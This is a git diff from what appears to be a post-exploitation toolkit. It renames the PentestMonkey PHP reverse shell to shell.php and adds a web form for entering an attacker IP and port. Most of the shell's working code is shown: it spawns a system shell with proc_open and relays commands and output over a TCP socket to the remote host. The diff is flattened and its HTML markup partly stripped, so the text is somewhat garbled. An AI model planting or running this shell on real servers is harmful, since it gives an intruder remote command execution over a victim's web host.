diff --git a/post_exploitation/php-reverse-shell.php b/post_exploitation/shell.php similarity index 86% rename from post_exploitation/php-reverse-shell.php rename to post_exploitation/shell.php index 8187d0d..a5610e3 100644 --- a/post_exploitation/php-reverse-shell.php +++ b/post_exploitation/shell.php @@ -1,3 +1,29 @@ + + +PentestMonkey Reverse Shell + +
+ + + + + + + + + + + + + +
IP + +
Port +
+ +
+ +
array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); - $process = proc_open($shell, $descriptorspec, $pipes); - if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } - // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); - printit("Successfully opened reverse shell to $ip:$port"); - while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } - // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } - // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); - // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { @@ -152,7 +157,6 @@ while (1) { if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } - // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { @@ -161,7 +165,6 @@ while (1) { if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } - // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { @@ -171,21 +174,17 @@ while (1) { fwrite($sock, $input); } } - fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); - // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { + if (!$daemon) { print "$string\n"; } } - -?> - - +?>